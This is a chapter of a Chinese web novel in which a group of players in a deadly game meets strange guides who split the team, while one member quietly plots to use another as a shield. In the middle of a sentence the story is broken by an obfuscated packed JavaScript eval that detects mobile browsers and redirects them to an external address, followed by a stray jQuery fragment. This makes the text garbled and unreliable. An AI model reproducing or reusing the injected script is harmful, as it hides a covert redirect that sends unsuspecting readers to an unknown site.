霜白语刚准备回身继续往前走,强烈的危机感迫使他以一个相对变扭的姿势,在没有完全回正脖子的同时往后面撤去。
完成这一切后,他抬眼望向几步开外,他原本该在的位置。
那里凭空多了点别的。
对方像蜘蛛那般倒立悬挂在半空,毫无任何预兆地出现在他们中间,确实打了他们一个措手不及。
其他人一惊后反应过来,迅速地四散开。他们动作一致,戒备地望着正中心的存在。
宽大的演出服装遮去了垂下来这人的上半身和脑袋,整体像个倒悬的麻袋一样飘飘荡荡地摇晃,脚上勾着的锁链顺时针牵着转过一定角度,等彻底转不过去后又逆时针重新转回去。
“啊……你们到得好慢,等得我都睡着了。”
长长的一阵哈欠声后,满是倦意的嗓音咕哝着闷闷地响起,听着像是少年人的声线。
麻袋、不,演出服下有什么东西蛄蛹着挪过了一截。
“按照正常上班作息看来,你们这妥妥已经算迟到了。就因为你们没准时到工位,害我被催着过来找,休息时间全拿来做这种没意义的事情了,新人就是麻烦。”
抱怨完毕,他一个鲤鱼打挺,借着腰腹的力量把自己身形扭正了,顺重力落下的演出服后露出了他的真容。
浅色系的头发无比杂乱地翘着,幼圆的娃娃脸上满满都是不耐烦的表情,一边说一边不忘穿插几个没有意义的语气助词。
众人被他啧得寒毛直竖,绷紧了浑身的肌肉更加严密地提防着他的一举一动。
“索尔卡特在半小时前就把你们送到这层了,怎么墨迹这么久,还没开干就临阵退缩,这可不是个好习惯。”
他浓密的白色长睫朝下敛着,靠道具悬停在空中的姿态让他足以居高临下地俯视所有人,他毫不掩饰自己看屑一样的眼神,无差别放送给脚下的每一个人。
埃斯特目光扫视过所有人,在霜白语身上停留的时间明显要长一些,片刻后,像是确认了他的身份,附赠对方一个说不清道不明的眨眼。
霜白语沉默,他是被谁下降头了吗?这种时候被特殊关照可不是好事。
埃斯特絮絮叨叨说了不少抱怨的话,在此之间,其他人只是皱眉警惕,没有任何人选择出声,毕竟他们并不确定这时候解释或者质疑是否同样是陷阱。
“怎么还愣着?”埃斯特不满,一勾脚收了锁链,从三米多高的地方跳下来,稳稳当当落地,他拍了拍裤腿上并不存在的灰尘,催促在场的六个人。
“赶紧上工啊,非要我三催四请的,这么把自己当盘菜。”
说着他扭头率先往前走去。
不知道是不是因为埃斯特的出现,被不知名存在判定为他们达成了某种标准,原本黑漆漆一片不知通往何处的走道上出现了一扇高耸的大门。
非常像游戏中要切换不同场景前遇见的那种开关门,复古雕饰考究地点缀在门上,从高度判断厚度同样可观,需要成年人卯足了气力才能手动开启。
下一秒,埃斯特抬手按了上去,门板的铰链处传来与想象一致的沉重周转声。再看他本人,轻轻松松完全没把这事放在眼里的模样。
看不出来还是个怪力少年。
“赶紧的吧你们,再耽误不止是你们被削了,连我都会有麻烦。”
埃斯特示意众人跟上,他脚步轻快,也没见怎么加速,几秒的时间距离他们突然很远。
虽然他话里话外都在表示火烧眉毛的急,但目前还没有他先前提到过的角色出现,一行人边在能够及时做反应的范围内活动,找寻可能存在的线索。
哲平轻轻推动着眼镜框,往旁边半步远的葵那一靠,手动将本就不多的距离缩减,他扯过葵的袖子,在引来后者注意时,挤眉弄眼示意人看身后不远处的霜羽。
“刚才我看到那人对他WINK了。”哲平微张嘴,翘动舌头发声,嘴基本保持不动,从源头杜绝别人靠唇语偷听的可能。
霜白语抿了一下唇,视线扫了眼周围景色,盯着埃斯特越来越遥远的身影,恨自己听力太好,对方背着他的小声蛐蛐跟当面说没什么区别。
“……别用你八卦的眼神跃跃欲试,很恶心。”
葵出声打断他前,先看了眼不远处的青年,虽然哲平的发现值得细究,但绝对不是以这么无聊的方式。
“什么叫很恶心,这明明是重大发现。”
哲平抓着拳头愤愤地捶打空气,又很小心地控制着自己的音量,“之前索尔卡特出现也是奔着他为首要目标去的,还有这个怪力少年降临的地方,也是完全卡着霜羽回头的位置,要不是他警觉第一时间退开了,完全就碰头杀了啊!”
哲平自问:“这说明什么?”
还是哲平:“说明霜羽完完全全就是魅魔来的!”
滚啊。
霜白语一阵恶寒,他承认自己是莫名有点拉仇恨,但这话说得也太变扭了。
显然他的同伴和他感受一样,很果断地无视了他的胡扯。
埃斯特彻底消失不见了,借着这个机会,除开他们三个在眼前这块区域活动,文、如音和她男友去了稍远一些的地方,最开始出电梯后的涂鸦在越过了那扇厚重大门时已经消失不见,取而代之的是一片淡紫色宛如干冰泡水后源源不断冒出的气体。
极大程度限制了他们获取消息,甚至可以说是一无所获。
“你们还在这里呀?”
突然响起的一声质问,还在边场游走的三人暗道不妙,装作活动筋骨的样子舒展着四肢迅速回撤。
和想象中恐怖的任务发布者不同,来的是个小女孩,脸上没多大表情,但比起他们先前见到的那两位,她看上去正常得多,起码像是能好好沟通的那种类型。
不过可惜,事实证明了人不可貌相,目前这种情况下很多常识判断都不再准确。
小女孩抬起右手臂,将其整个伸直了,缓缓掠过面前的六个人。
“你,”她指向哲平,紧接着又滑向如音的男朋友,“你,还有——”,她的手臂继续在空中划着平直的线条,最终指向了霜白语,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405193|200467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你。”
不知是有意还是无意,小女孩点中的前两个人刚好在加入这个临时队友前有各自的搭档,但眼下被一一拆开,“你们三个先跟我来,剩下的三个再等一会,她马上就过来了。”
索尔卡特先前的提示重新在几人脑海中过了一圈,如果有任何人需要他们做事,不能拒绝,否则后果得他们自己承担。
那么现在既然有意要这么把队伍拆散,他们也只好顺着意,不敢贸贸然行动。
小女孩点完名后没再多说什么,转身就走,三人默默跟上他。
这其中要属哲平最难受,谁能想到还有强行拆分队伍这种事啊,拆分也就算了,那么多的组合就非得把他跟霜羽分在一起吗,他可刚找过葵吐槽人啊。
现在尴尬的理由在于,葵告诉他,自己先前以为很小声的蛐蛐人的话,被正主一概不落地全听了去。
救救,还有什么比蛐蛐完人,一转头发现当事人就在自己身后更让人无地自容的事啊!
哲平一度走出了同手同脚的步伐,笑死,根本不敢看边上的人到底什么反应。
嗯……话有点说早了。
事实证明上面那句感慨确实还有个更高级。
如音的那个男朋友,叫什么不知道,哲平加入队伍的时间比他俩要早,但如音说出名字后,她的男友并没有和他们互通有无,只说了自己是如音男友的身份。
哲平对对方故意踩掉他鞋子的行为非常不满,从先前的尴尬处境中转移,化身喷火龙地打算用眼神烧死如音男友。
眼瞅着小女孩对他们间的暗自较劲没表态,哲平回头瞪人。干什么!他无声质问,第一次踩到他都当人太紧张不是有意的,但接连三次就是刻意针对了哈。
如音男友扬了扬眉,眼神示意哲平边上的青年,找机会推他出去。
他倾向于做出这样的选择是基于一定考量的,目前的队伍中除了他跟如音,也就这个眼镜和他同伴是两两组合的,文虽然是单独一人,但据他一路的观察看,对方有一定武力值,关键时刻卖了肯定会出意外。
但霜羽不一样,他本身就比他们受到更多的注意和针对,仇恨值更为集中,而且看他先前出招的样子,对危机的感应还成,但爆发力相对欠缺,近身算是弱点。必要时拿来当挡箭牌是个不错的选择。
大哥我真求你了。哲平在心底哀嚎,感觉魂都丢一半了。但显然他没法真得说出口,只能疯狂用眼技跟人交流。你这是在当着人家的面商量怎么把人卖了啊啊啊!
如音男友:“?”
霜白语不咸不淡地朝哲平递过去一个眼神,后者堆起的笑容称得上一句谄媚,比划了一个手拉拉链的动作,没再搭理后头那个不小心步了自己后尘的倒霉蛋。
算了,惦记上如音男友后就不能再打他了哦,毕竟他只是口嗨,而后面那位是真想要您的命诶。
霜白语轻笑一声,没等真正说些什么。走在前头的小女孩听到动静回头看了他一眼,突然顿住了继续前进的步子。
霜白语撤回一个笑容。